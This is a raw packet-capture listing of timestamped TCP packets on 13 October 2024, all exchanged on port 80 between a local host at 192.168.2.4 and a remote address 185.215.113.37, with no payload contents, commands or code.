Oct 13, 2024 06:54:16.776633978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.776650906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.776665926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.776685953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.776685953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.776685953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.776686907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.776686907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.776686907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.777373075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.777373075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822374105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822391987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822402000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822515965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822525978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822536945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822546005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822555065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822594881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822594881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822594881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822594881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822623014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822628021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822640896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822650909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822659969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822669983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822679043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822689056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822700024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.822761059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822761059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822761059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.822761059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823288918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823298931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823333979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823353052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823376894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823409081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823424101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823438883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823451042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823468924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823479891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823491096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823499918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823510885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823522091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823568106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823580027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823591948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823602915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823609114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.823610067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823610067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823610067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823610067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823610067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823610067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823626995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.823647022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824371099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824382067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824400902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824412107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824423075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824434042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824445009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824454069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824464083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824465990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824491978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824503899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824505091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824513912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824532032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824546099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824557066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824568987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824579954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824592113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824600935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824620962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824635983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824635983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824635983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824659109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824671984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824681997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824688911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824695110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824702978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824712992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824723005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824733019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824737072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824743032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.824755907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.824795008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825355053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825407982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825418949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825428963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825438976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825505972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825514078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825514078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825516939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825530052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825540066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825551033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825577021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825587034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825587034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825603962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825614929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825623989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825634003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825643063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825651884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.825715065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825715065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825715065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.825730085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826395988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826442003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826467991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826494932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826508045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826572895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826596022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826607943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826618910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826627970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826642036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826659918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826659918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826669931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826673031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826697111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826704025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826714039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826714993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826725006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826735020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826745033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826754093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826762915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.826813936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826813936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826813936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.826828003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.827460051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827507973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827531099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.827549934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.827569008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827579975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827589989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827599049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827626944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.827641010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827651978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827661037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.827691078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.827691078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.827780008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.865160942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.865181923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.865237951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.865251064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.865262032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.865273952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.865284920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.865330935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.865330935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.865330935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.865439892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867044926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867090940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867100954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867135048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867145061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867156029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867208958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867218018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867228031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867244959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867258072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867268085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867276907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867276907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867276907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867276907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867276907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867279053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867276907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867291927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867333889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867333889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867347956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867355108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867360115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867372036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867381096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867396116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867405891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867407084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867408037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867417097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.867484093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.867484093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.868865967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.913789034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.913853884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.913888931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.913899899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.913912058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.913923979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.913937092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.913949013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914025068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914025068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914025068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914025068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914026976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914038897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914051056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914063931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914077997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914089918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914103031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914114952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914141893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914155006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914161921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914163113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914163113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914163113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914163113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914163113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914167881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914182901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914196968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914211035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914222002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914222002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914222002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914225101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914238930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914241076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914261103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914272070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914283991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914294958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914307117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914319038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914331913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914343119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914355993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914398909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914398909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914398909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914398909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914398909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914398909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914417982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914428949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914439917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914453983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914468050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914479017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914493084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914509058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914509058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914509058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914525032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914557934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914565086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914570093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914581060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914594889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914609909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914622068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914633989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914645910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914659023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.914679050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914679050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914679050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914679050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914679050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.914747000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921189070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921205997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921217918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921227932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921237946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921251059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921262980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921276093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921288013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921299934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921312094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921324968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921344042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921364069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921379089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921381950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921381950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921381950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921381950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921381950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921381950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921391010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921411991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921427011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921441078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921453953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921464920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921473980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921473980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921474934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921479940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921493053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921504974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921504974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.921505928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921519041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.921531916 CEST	80	49730	185.215.113.37	192.168.2.4
